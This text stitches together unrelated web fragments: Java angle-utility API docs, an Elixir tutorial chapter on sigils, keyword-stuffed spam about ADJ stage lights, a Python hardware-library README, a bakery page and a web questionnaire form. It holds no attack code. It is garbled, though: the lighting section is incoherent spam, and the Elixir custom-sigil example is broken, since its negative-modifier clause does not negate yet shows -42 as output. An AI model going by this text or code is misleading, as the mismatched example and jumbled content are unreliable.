|
static double |
toDegrees(double radians)
Converts from radians to degrees.
|
static double |
toRadians(double angleDegrees)
Converts from degrees to radians.
|
public static final double PI_TIMES_2
public static final double PI_OVER_2
public static final double PI_OVER_4
public static final int COUNTERCLOCKWISE
public static final int CLOCKWISE
public static final int NONE
public static double toDegrees(double radians)
radians
- an angle in radianspublic static double toRadians(double angleDegrees)
angleDegrees
- an angle in degreespublic static double angle(Coordinate p0, Coordinate p1)
public static double angle(Coordinate p)
public static boolean isAcute(Coordinate p0, Coordinate p1, Coordinate p2)
Note: this implementation is not precise (determistic) for angles very close to 90 degrees.
p0
- an endpoint of the anglep1
- the base of the anglep2
- the other endpoint of the anglepublic static boolean isObtuse(Coordinate p0, Coordinate p1, Coordinate p2)
Note: this implementation is not precise (determistic) for angles very close to 90 degrees.
p0
- an endpoint of the anglep1
- the base of the anglep2
- the other endpoint of the anglepublic static double angleBetween(Coordinate tip1, Coordinate tail, Coordinate tip2)
tip1
- the tip of one vectortail
- the tail of each vectortip2
- the tip of the other vectorpublic static double angleBetweenOriented(Coordinate tip1, Coordinate tail, Coordinate tip2)
tip1
- the tip of v1tail
- the tail of each vectortip2
- the tip of v2public static double interiorAngle(Coordinate p0, Coordinate p1, Coordinate p2)
p0
- a point of the ringp1
- the next point of the ringp2
- the next point of the ringp1
public static int getTurn(double ang1, double ang2)
ang1
- an angle (in radians)ang2
- an angle (in radians)public static double normalize(double angle)
angle
- the angle to normalizepublic static double normalizePositive(double angle)
angle
- the angle to normalize, in radianspublic static double diff(double ang1, double ang2)
ang1
- the angle of one vector (in [-Pi, Pi] )ang2
- the angle of the other vector (in range [-Pi, Pi] )


18 Sigils
We have already learned that Elixir provides double-quoted strings and single-quoted char lists. However, this only covers the surface of structures that have textual representation in the language. Atoms are, for example, are mostly created via the :atom
representation.
One of Elixir's goals is extensibility: developers should be able to extend the language to fit any particular domain. Computer science has become such a wide field that it is impossible for a language to tackle many fields as part of its core. Our best bet is to rather make the language extensible, so developers, companies and communities can extend the language to their relevant domains.
In this chapter, we are going to explore sigils, which are one of the mechanisms provided by the language for working with textual representations. Sigils start with the tilde (~
) character which is followed by a letter (which identifies the sigil) and then a delimiter; optionally, modifiers can be added after the final delimiter.
18.1 Regular expressions
The most common sigil in Elixir is ~r
, which is used to create regular expressions:
# A regular expression that matches strings which contain "foo" or "bar":
iex> regex = ~r/foo|bar/
~r/foo|bar/
iex> "foo" =~ regex
true
iex> "bat" =~ regex
false
Elixir provides Perl-compatible regular expressions (regexes), as implemented by the PCRE library. Regexes also support modifiers. For example, the i
modifier makes a regular expression case insensitive:
iex> "HELLO" =~ ~r/hello/
false
iex> "HELLO" =~ ~r/hello/i
true
Check out the Regex
module for more information on other modifiers and the supported operations with regular expressions.
So far, all examples have used /
to delimit a regular expression. However sigils support 8 different delimiters:
~r/hello/
~r|hello|
~r"hello"
~r'hello'
~r(hello)
~r[hello]
~r{hello}
~r<hello>
The reason behind supporting different delimiters is that different delimiters can be more suited for different sigils. For example, using parentheses for regular expressions may be a confusing choice as they can get mixed with the parentheses inside the regex. However, parentheses can be handy for other sigils, as we will see in the next section.
18.2 Strings, char lists and words sigils
Besides regular expressions, Elixir ships with three other sigils.
18.2.1 Strings
The ~s
sigil is used to generate strings, like double quotes are. The ~s
sigil is useful, for example, when a string contains both double and single quotes:
iex> ~s(this is a string with "double" quotes, not 'single' ones)
"this is a string with \"double\" quotes, not 'single' ones"
18.2.2 Char lists
The ~c
sigil is used to generate char lists:
iex> ~c(this is a char list containing 'single quotes')
'this is a char list containing \'single quotes\''
18.2.3 Word lists
The ~w
sigil is used to generate lists of words (words are just regular strings). Inside the ~w
sigil, words are separated by whitespace.
iex> ~w(foo bar bat)
["foo", "bar", "bat"]
The ~w
sigil also accepts the c
, s
and a
modifiers (for char lists, strings and atoms, respectively) which specify the data type of the elements of the resulting list:
iex> ~w(foo bar bat)a
[:foo, :bar, :bat]
18.3 Interpolation and escaping in sigils
Besides lowercase sigils, Elixir supports uppercase sigils to deal with escaping characters and interpolation. While both ~s
and ~S
will return strings, the former allows escape codes and interpolation while the latter does not:
iex> ~s(String with escape codes \x26 #{"inter" <> "polation"})
"String with escape codes & interpolation"
iex> ~S(String without escape codes and without #{interpolation})
"String without escape codes and without \#{interpolation}"
The following escape codes can be used in strings and char lists:
\"
– double quote\'
– single quote\\
– single backslash\a
– bell/alert\b
– backspace\d
- delete\e
- escape\f
- form feed\n
– newline\r
– carriage return\s
– space\t
– tab\v
– vertical tab\0
- null byte\xDD
- character with hexadecimal representation DD (e.g.,\x13
)\x{D...}
- character with hexadecimal representation with one or more hexadecimal digits (e.g.,\x{abc13}
)
Sigils also support heredocs, that is, triple double- or single-quotes as separators:
iex> ~s"""
...> this is
...> a heredoc string
...> """
The most common use case for heredoc sigils is when writing documentation. For example, writing escape characters in documentation would soon become error prone because of the need to double-escape some characters:
@doc """
Converts double-quotes to single-quotes.
## Examples
iex> convert("\\\"foo\\\"")
"'foo'"
"""
def convert(...)
By using using ~S
, this problem can be avoided altogether:
@doc ~S"""
Converts double-quotes to single-quotes.
## Examples
iex> convert("\"foo\"")
"'foo'"
"""
def convert(...)
18.4 Custom sigils
As hinted at the beginning of this chapter, sigils in Elixir are extensible. In fact, using the sigil ~r/foo/i
is equivalent to calling the sigil_r
function with a binary and a char list as argument:
iex> sigil_r(<<"foo">>, 'i')
~r"foo"i
We can access the documentation for the ~r
sigil via the sigil_r
function:
iex> h sigil_r
...
We can also provide our own sigils by simply implementing functions that follow the sigil_{identifier}
pattern. For example, let's implement the ~i
sigil that returns an integer (with the optional n
modifier to make it negative):
iex> defmodule MySigils do
...> def sigil_i(string, []), do: String.to_integer(string)
...> def sigil_i(string, [?n]), do: String.to_integer(string)
...> end
iex> import MySigils
iex> ~i(13)
13
iex> ~i(42)n
-42
Sigils can also be used to do compile-time work with the help of macros. For example, regular expressions in Elixir are compiled into an efficient representation during compilation of the source code, therefore skipping this step at runtime. If you're interested in the subject, we recommend you to learn more about macros and check out how sigils are implemented in the Kernel
module (where the sigil_*
functions are defined).


Crumop399.github.io
The ADJ Lightning COB Cannon produces a large wash of white light from high output, advanced COB (Chip On Board) cool white LEDs--COB LED technology allowing for a powerful LED engine to be placed.
Lightning COB CANNON - Product Archive Light - ADJ Group. ADJ’s myDMX 3.0 is a multi-platform DMX control software/hardware system (Windows and OSX Mac compatible). myDMX 3.0 has a new, robust hardware dongle and exciting new features to take greater command of your lightshow. Adj Ligtning COB Cannon Handbücher. American DJ Lightning COB Cannon User Instructions. MyDMX 3.0 Control Software - adj.com.
The ADJ Lightning COB Cannon produces a large wash of white light from high output, advanced COB (Chip On Board) cool white LEDs–COB LED technology allowing for a powerful LED engine to be placed in a small amount of space. ADJ Products, LLC - www.adj.com - Lightning COB Cannon - User Manual Page 2 ADJ Products, LLC - www.adj.com - Lightning COB Cannon - User Manual Page 3. Page 3 DMX cable must be daisy chained Figure 1 and cannot be split. Lightning COB Cannon - Amazon Web Services. COB Cannon Wash - COB - Lighting - Lights - Products Bedienungsanleitung - adjmedia.s3-website-eu-west-1. UV COB Cannon - Advanced Lighting Sound Solutions. A.D.J. Supply Europe B.V. – www.americandj.eu – Ligtning COB Cannon Bedienungsanleitung Seite 4 INOZIONE EINLEITUNG Auspacken: Vielen Dank, dass Sie sich für den Kauf eines Ligtning COB Cannon von ADJ Products ADJ Lightning COB Cannon - YouTube.
The ADJ COB Cannon Wash is an LED Par Can that uses advanced RGBA COB (Chip On Board) technology. The COB Cannon Wash has massive 80-degree beam angle. Easily replaceable 40-degree and 50-degree lens are included so that the beam angle may be changed. UV COB Cannon Safety Precautions Power Supply: The ADJ UV COB Cannon contains a automatic volt-age switch, which will auto sense the voltage when it is plugged.


Topic List
The names of all topics you have added thus far are displayed in this list. They may be selected for editing or deletion by clicking on their names or by using the cursor up and down keys in the topic name field above.


Query popular APIs using GraphQL in your browser:
The GraphQLHub schemas are available in the graphqlhub-schemas NPM module:
$ npm install graphqlhub-schemas --save
GraphQLHub is an open-source project — if you want to add a feature, fix a bug, or just ask a question, you can reach out on Github!


WindowFlags ( win )
Returns the flags set on the given window as a bitmask. The mode set with WindowOpen() is part of this mask.
Example:
my_window_mode = WindowMode(1,0,1,0,0)
WindowOpen ( 0, "My App", WINDOWPOS_CENTERED, WINDOWPOS_CENTERED, 640, 480, my_window_mode, 1 )
Print"The flags on the window are ";WindowFlags(0)


You can enjoy these cookies with the whole family!
Heres what they're made from, and what we'll use to cut them
Merchandise!
- Things to Know
- Hours Open: 6am-8pm, Monday-Friday
- Contact Information: 555-0199
- Locations: PikePlace, Seatac Airport,
SeattleCenter, Alki, Capitol Hill


Reports List.remove(index) called in the loop which could be replaced with List.subList().clear(). The replacement
could be much more performant for most of List implementations if many elements are to be deleted.
Quick-fix adds a range-check automatically to prevent possible IndexOutOfBoundsException when minimal value is bigger than maximal value.
It can be removed if such situation is impossible in your code.


qontrol_api¶
Python Library for interfacing with Qontrol integrated optics control hardware. See [our website](https://qontrol.co.uk/) for more details!
This library lets you control your Qontrol controller from Python, via a serial interface.
README.rst¶
TOC Table of Contents
- Installation
- Usage
- Contributing
- Credits
- License
Installation
With python>3.6 installed at the command prompt type:
pip install qontrol
The following libraries will also be installed:
- serial
- collections
Usage
See help and documentation at https://takeqontrol.github.io/qontrol_api/
Contributing
If you want to contribute to this library contact<EMAIL_ADDRESS>Credits
List of contributors and authors: Qontrol Joshua W. Silverstone Raffaele Santagati
License
Copyright © 2020 Qontrol Systems LLP 2020
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


Welcome to Epicodus
~ Home
~ Questionnaire
Questions
Please Enter Your Name
Do you enjoy building webpage
Yes
No
Select what interest you the most from the following options
Building interative websites
Users creating accounts, entering information, and interacting with dynamic content
Building business software
Do you like MicroSoft?
Yes
No, they are chill
Would you rather work for a startup/smaller company or a larger corporation
Startup/Smaller Company
Larger Corporation
What type of developer are you intrested in becoming
Front-End
Back-End
Full stack, both Both Front-End and Back-End
Enter Info
See below for results
Hello
, our highly advanced algorithm has determined that
.